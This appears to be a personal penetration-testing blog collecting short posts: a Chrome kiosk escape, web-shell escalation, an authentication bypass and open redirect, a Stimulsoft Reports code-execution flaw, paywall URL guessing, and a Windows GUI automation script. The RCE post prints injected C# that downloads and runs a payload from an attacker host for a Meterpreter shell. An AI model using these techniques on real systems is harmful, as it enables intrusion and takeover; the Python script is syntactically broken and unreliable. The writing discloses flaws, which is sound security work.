Saturday, June 1, 2019

ctrl + s to Escape Chrome Kiosk

Consider a tablet at a store kiosk where the owner wants to display one particular web page to users. They don't want the user to have access to any other programs or files on the tablet. In this case, they are running Chrome in a restricted mode, using this command:

 chrome.exe --kiosk "keepuseronthispage.com"

In theory, this is a restricted mode doesn't allow right-click context menu, doesn't show the browser address bar or the task bar, and keeps the user out of the system. So... how do we access the rest of the system? Well, if it's a Windows machine, as in this case, kiosk mode can easily be bypassed if the user presses ctrl + s.


650x215xWindows_08

Use the "save as" file explorer window that pops up to run cmd.exe. Now you have access to all the local resources.

NOTE: This doesn't seem to work on Mac OS...which is probably for the best.


Tuesday, May 28, 2019

Running Unicorn Payload Through Web Shell

This for escalating a low-privileged web shell to a Meterpreter shell. In this example, the Powershell execution policy was changed (using the web shell) to RemoteSigned using powershell Set-ExecutionPolicy. The normal method of storing a unicorn reverse-https payload wasn't working, since the file couldn't be written to the server (either through permissions restrictions or being picked up by antivirus).

Take the contents of the generated unicorn payload from the file, and run it as a Powershell command in the browser: 



Bypass Auth Lib


Recently I found a problem with an authentication library. The hyperlink the user clicks to access private content looks something like this:

https://www.authenticateme.com/auth.asp?url=http://www.privatecontent.com/1337



So normally, after the user enters their credentials on the auth.asp page, they are redirected to privatecontent.com/1337 ... or they could just go directly to that page, bypassing any security restrictions. They can then enumerate and access other content based on the formula of the URL.

Additionally, this qualifies as an open redirect, since an attacker could append their own attack server's address to "url=", then send the link to a victim, and then the attacker will receive the credentials passed through the authentication page.


Friday, November 23, 2018

CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution

The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.

It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."

... so, of course, let's modify it!

I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.

Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:

<script>

using System.Diagnostics;

namespace Reports {

    public class New_Report : Stimulsoft.Report.StiReport
    {
        public New_Report()
        {
            this.InitializeComponent();
            Process c = newProcess();
            c.StartInfo.FileName = @"cmd.exe";
            c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
            c.Start();

            Process c1 = new Process();
            c1.StartInfo.FileName = @"cmd.exe";
            c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
            c1.Start();


        }
        
        #region StiReport Designer generated code - do not modify

            #endregion StiReport Designer generated code - do not modify

    }
}
</script>

Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.

Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865




Monday, August 13, 2018

Paywalls and Redirects

It is well known that paywalls can commonly be circumvented by editing the client side code so that the content is no longer hidden. But what about when that code is server side? Here is a quick "no tools" way of getting around certain kinds of paywalls.

Disclaimer: don't get around paywalls. It's rude. Pay content providers for content. Anyway... here is the idea. You are on a site with mixed paywall and non-paywall content. You're looking around trying use the typical methods: to find the element to delete or the flag to set to be able to see the content. You're comparing application logic for displaying the paywall vs non-paywall stuff. No luck. In my case, I am presented with this URL, which has a paywall error on the page:

awesome.com/pants

I wondered if maybe the content had been cached and I could view it that way with an "in site" search (in Google, "site:awesome.com/pants [OPTIONAL_SEARCH_TERM]"). Bingo! There are links like:

awesome.com/pants/pants01
awesome.com/pants/pants02

I am able to navigate to these pages and view the "pants" content. But what if I want to view "socks" content? Even though only the "pants" page was cached on Google, it's all I need, because this page happens to link to other pages behind the paywall. But what about the ones that don't have links? Well, since I have an example of the convention used in the URL page, using the root of the URL as a hint, I can craft any URL needed to access all the others as well. For example:

awesome.com/kneesocks

This probably means it has these behind the paywall:

awesome.com/kneesocks/kneesocks01
awesome.com/kneesocks/kneesocks02

And so it does! Now between the links on these pages and the formulaic predictable URL, I can navigate around the rest of the paywall. Additionally, a mistaken URL will very helpfully redirect if the last directory is correct:

awesome.com/pants/kneesocks03  >  [301 status error]  >  awesome.com/kneesocks/kneesocks03

Suggestion to the site for mitigating this risk: require authorization for the pages that need it, whether they are the redirect page or the old page.


Saturday, July 28, 2018

Displaying API Keys Client Side

... is a bad idea.

I was pen testing for a friend, and found that most of the application logic was done client-side, which included a REST call to an API. I generally expect sensitive things like keys, app secrets, etc. to be only called server side in non publicly visible code, or at least reference a configuration file with the proper permissions. It is too easy to hijack someone else's API and either run up the bill, or the API limit, or else misuse it in a destructive way (for example, for the Google custom site image search API, one could use the admin console to limit the custom sites to only not-so-nice images, or an image from a server that lies about the MIME type and returns files with malicious code embedded, etc.)

This will probably happen more and more with the widespread use of APIs, specifically for services directly displayed to the user, such as maps or images, since it is tempting and convenient to just call the API directly client-side.

Ollydebug and Email Verification Bypass

Ollydebug combined with Pywin32 are great for finding hidden buttons on desktop applications that are invisible but still active. That Python library makes it easy to access and use them. (I haven't done that much research with desktop applications, and I'm almost positive a tool already exists to do these things in a more automated way, but this is one pretty heinous way, mclovin.py...)

import time
import win32con
import win32gui
import win32api
import win32process
import winxpgui
import struct
import pywintypes

mclovin, cmd = win32.api.CreateProcess(
None, #name
cmd,
None, #process attributes 
None, #thread attributes
0, #inheritance flag
0, #creation flag SW_NORMAL  #invisible, but I can still write to it: 1
win32con.SHOW_MINIMIZED
None, #new environment
None, #current directory
win32process.STARTUPINFO()
)
 
#brunningonline.net
def getEditText(hwnd):
    result = []
    bufferlength = struct.pack('i',255)
    linecount = win32gui.SendMessage(hwnd, win32con.EM_GETLINECOUNT, 0,0)
    linetext = linetext+"".ljust(253)
    linelength = win32gui.SendMessage(hwnd, win32con.EM_GETLINECOUNT, line, linetext)
    result.append(linetext[:linelength])
    return result

def wcallb(hwnd, handle):
    if (win32gui.GetClassName(hwnd) == 'Edit'):
         handle[win32gui.GetClassName(hwnd)+str(hwnd)] = hwnd
    else:
        handle[win32gui.GetClassName(hwnd)] = hwnd
 
    try:
        win32gui.EnumChildWindows(hwnd, wcallb, handle)
    except:
        print ('?no hijos?')
     return True
 
handle = {}
 
while not handle: #loop until we find the window
    time.sleep(0.1)
    win32gui.EnumThreadWindows(tid, wcallb, handle) #select fro future list of handles, not the top window
    print(handle) 
 
#if tabbing worked, I wouldn't need to find instances of components
#mclovin is a valid handle, but keys aren't sent to the window?
#handle['Button'] <-- Output 'Edit' <-- three 'Static' <-- window
'#32770' <-- dialog
 
#don't trust ordering of the fields, read the label text to determine
#text a:\***.csv
onlyEdits = []
for thehandle in handle.keys():
    if "Edit" in thehandle:
        onlyEdits.append(handle[thehandle])
 
try: 
     for k in onlyEdits:
        testPath = getEditText(k)
        if 'a:\***.csv' in testPath:
            editPath = k
except:
    print('couldn't find it)
 
#delete the current text which is at most 20 chars, replace with my own keystrokes
 
for c in range(20):
    win32api.PostMessage(
         editPath,
         win32con.WM_KEYDOWN,
         win32con.VK_DELETE,
        
         )

    win32api.PostMessage (
         editPath,
         win32con.WM_KEYUP,
         win32con.VK_DELETE,
        
         )

for escritarme in "*****\mclovinUSA.txt": 
    win32api.SendMessage(
         editPath
         win32con.WM_CHAR,
         ord(escritarme),
         0
)

Whew that's an ugly script. Anyway, unrelated, but a major social media network implies a lot of verification steps to the user, but if the user clicks the help link to exit the process early and get to the main site, it's clear that the account has already been created and can be used without further verification.